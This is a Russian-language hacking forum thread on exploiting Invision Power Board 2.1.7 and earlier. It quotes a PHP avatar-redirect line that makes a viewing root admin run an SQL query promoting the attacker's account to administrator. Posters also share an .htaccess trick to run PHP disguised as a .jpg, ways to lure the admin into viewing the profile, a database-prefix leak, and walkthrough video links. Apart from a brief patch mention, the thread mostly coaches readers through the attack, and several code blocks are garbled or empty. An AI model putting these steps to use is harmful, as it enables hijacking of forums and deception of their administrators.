![]() |
sql-inj в ipb <=2.1.7
Итак, в среду на багтраке появилось сообщение об уязвимости IPB <=2.1.7.
Уязвимым оказался скрипт кп админки. Если поставить вместо ссылки на аватару ссылку на пхп-сплоит, то при просмотре админом (это должен быть рут-админ) акка пользователя через контрпанельку имеется возможность выполнить скуль-комманды через IPB's SQL Toolbox. Вот сам текст с багтрака: Цитата:
Invision Power Board 2.0.x Invision Power Board 2.1.0 - 2.1.7 Invision Power Board 2.2 Beta 1 Неуязвимы: Invision Power Board 2.1.7 (ID: 21013.61005.s) Invision Power Board 2.2 Beta 2 Делитесь тут мыслями по поводу этой баги. Сам я еще не испытывал.. |
Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)
|
Я немогу понять тут $mid = 145; надо прописать id Рута или id свой ???
|
Судя по "SET mgroup=4" (SET+mgroup%3D4) - свой. (Не помню, вроде 4 это и есть права админа, которые устанавливаются для мембера с mid=$mid).
З.Ы. Вообще там есть коммент: //The member id to promote to root admin (ну это для тех, чей мозговой парсер комменты не пропускает) |
единственное решение можно предложить - поменять группу админов с 4 на какую-нить другую. Вряд ли злоумышленник (кидис который даже не въехал как работает сплоит, имхо 80% таких) нифига ничего не получит -)
|
Заплатка для ipb IPB 2.1.x
Ручное исправление уязвимостей от 05.10.06
Файл ./sources/action_admin/member.php, найти код: Код Код:
//-----------------------------------------Код Код:
//-----------------------------------------http://www.ibresource.ru/forums/index.php?showtopic=36607 |
Подскажите что не так пожалуйста:
скрипт выполняется как картинка, т.е http://localhost/g.jpg кажет phpinfo(); ;) На форуме редактирую профиль, указываю в поле "Введите ссылку на файл вашего аватара" ссылку, потом захожу под руут админом, смотрю профиль юзера тестера, перехода не происходит, и запросы не выполняются, show table; аналогично нигде не выполняется, что не так? p.s просматривая профиль тестер юзера в админпанеле, тоже редиректа не происходит, даже если правой кнопкой щелкнуть на открыть изображение, запросы не выполняются. |
А как картинку с пчп кодом сделать?
|
Переименовать пхп файл, в *.jpg gif..
в .htaccess добавить <Files "u.jpg"> AddType application/x-httpd-php .jpg </Files> либо на край в httpd.conf добавить к application/x-httpd-php тип .jpg :) |
Сам не пробовал, но если то что написано тут:
Цитата:
PHP код:
|
Разобрался я с этим експлойтом, прет кук из админпанели и добавляет к нему запрос сэквел, мне понравилось :)
У кого что то не получается расскажу что нужно сделать чтобы получилось :) Как сделать чтобы скрыть под avatar.jpg пхп скрипт думаю ясно, но скопировав предоставленный эксплойт и даже подставив нужные значения, ничего не выйдет, там есть небольшая хитрость (может просто случайность) в строке: Код:
header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1");l Код:
header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1");Заодно предоставлю следующий вариант, чтобы у админов не вызывал подозрения не отображающийся аватар, допишем строчку в сплойт (сплойт готовый к употреблению): Код:
<?php Сработает только тогда, когда админ посмотрит профиль юзера из Админпанели :) p.s Если админ посмотри профиль в браузере konqueror вас ждет разочарование :) |
Все происходит на локалке. ;)
Ну я закачал обычную аватару, изменил на пхп код, смотрю админом картику... Ноль не чего, и я тута решил дожлно отображатьса инфа о пхп, и тута я поменял код... Снова ноль ! Что я тока не пробывал. Помогите, а? :mad: |
Вообщем сделал видео с небольши но:
Так как не одного дельного совета не было: http://forum.antichat.ru/threadnav17208-2-10.html Видео на 40 мег в раре, само занимает 70 мег, идет 19 минут. Это полная версия, и соостветственно кто хочет качает, кто не хочет не качает :) Немногим позже подготовлю порезанную версию, т.е просто вырежу кадры где например у меня довольно долго рестартится сервер, из за требовательных ресурсов xvidcap, то как набираю там текст к комментариям... Просто останутся основные кадры, смысл не потеряется :) http://rapidshare.de/files/37256566/sql_inj_ipb_2.1.7_and_early_from_BMaster_Full_vers ion.rar в ссылке убрать пробел в слове version хз откуда он там :) AVI, 1022 x 766, 7.00 fps, video: Microsoft MPEG-4 v2 p.s Видео демонстрирует уязвимость форума, который находится на localhost, и соответственно хост тоже локальный. p.p.s имхо camstudio вроде тоже не может захватывать без кодирования, он тоже использует компрессор по дефолту microsoft video 1. т.о если это так, то факи написаны немного не точно :) |
Вот переснял видео для деалапщиков :
_http://kolokol.ho.com.ua/video/ibp.2.1.7.rar |
Вообщем качество/размер лучше этого не могу подобрать, обрезать ничего не стал, просто пожал немного.
http://rapidshare.com/files/343881/sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar 8мег. Хостингов для помощи использования этой уязвимости много, fatal.ru тому пример, недавно тестил, все работает. .htaccess если нет, то создаем. |
Если можно выложите файл .htacces как он должен выглядеть!
заранее спасибо. |
Цитата:
в .htaccess добавить <Files "u.jpg"> AddType application/x-httpd-php .jpg </Files> |
Вы о чем?
Н чужом хосте отредактировать файл .htaccess можно запросто, если ты зарегистрировал свой сайт на предоставляющем тебе хостинг сайте :) А если не зарегистрировал то конечно никак не отредактируешь :) Если кто так и не понял... НЕ На форуме, который вы хотите протестировать/хакнуть, НЕ на сервере на котором находится этот форум НИЧЕГО создавать, редактировать кроме как профиля своего юзера НЕ нужно. Ищите в нете хостинг платный/бесплатный/поднимаете свой/... который поддерживает php и где есть поддержка .htaccess файлов... Пример для незнающих fatal.ru и все, больше ничего не нужно. |
Некотрые регят себе сайт на хостинге бесплатном при этом незная что за такой файлик : .htaccess
|
Цитата:
.htaccess – это файл, который дает возможность конфигурировать работу сервера в отдельных директориях (папках), не предоставляя доступа к главному конфигурационному файлу. Например, устанавливать права доступа к файлам в директории, менять названия индексных файлов, самостоятельно обрабатывать ошибки Apache, перенаправляя посетителей на специальные страницы ошибок. |
нда, одну проблему решили, теперь блин попробуй заставь админа навести на твой аватар.
вопрос таков : он навести должен на твой аватар ? глянуть твою тему просто с твоим аватаром ? или как вообще ? :) |
Цитата:
|
Значит надо чтобы админ проссмотрел твой профиль из админки.
Но почему то у меня из мозилы не пахало. Из оперы и ИЕ всё гуд. Да насчёт подписи, я бы в админку не лез, я бы прямо с форуме убрал бы её ;) |
Есть форум...Аву по урл нельзя вставлять только можно грузить с компа,а вот фотку можно...Вопрос можно ли через фото это зделать или только через аватар?А и ище момент: Файли должен бить на своём форуме ипб?И имейдж тоже должен с ипб быть?
|
Цитата:
|
Цитата:
к тому же если права грамотно стоят, то не прокатит |
я брал код с сайта где можно через url и вставлял его на место того где незя , ток там адресс сайта в коде менял и все ок было !
|
Цитата:
|
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз. |
Цитата:
|
Fr-Ron а .htaccess создавал?
|
Цитата:
|
народ...кто нить, перезалейте sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar на каконибуть другой сервак ...чото с рапидой траблы
|
Цитата:
|
Цитата:
А на ИБП ведь кроме проифя ниче юзать не надо... |
Fr-Ron правельно на взлаемом форуме ничего кроме профеля менять не надо НО надо разместить свою аватарку на бесплатном/платном хостинге и там уже создавать файл .htaccess.
|
Попробуй измени на красную подпись аватары и 7 шрифт. Иногда прокатывает, моно еще
как нить поиздеваться, типа хочу модером, или ... Таких вариантов многов, но конечно нуна зарегать новый аккуант и написать куча всего что-бы не показаться страннымю |
Возникает законный вопрос: как узнать префикс базы данных?
|
Tflash
/forum/index.php?act=Online&st=-1 А там уж смотришь: .......FROM ibf_sessions......... |
Баг заключается в недостаточной фильтрации переменной st в списке "кто онлайн"
С уязвимости в параметре st вроде тока можно поиметь раскрытие префикса БД. |
| Время: 01:27 |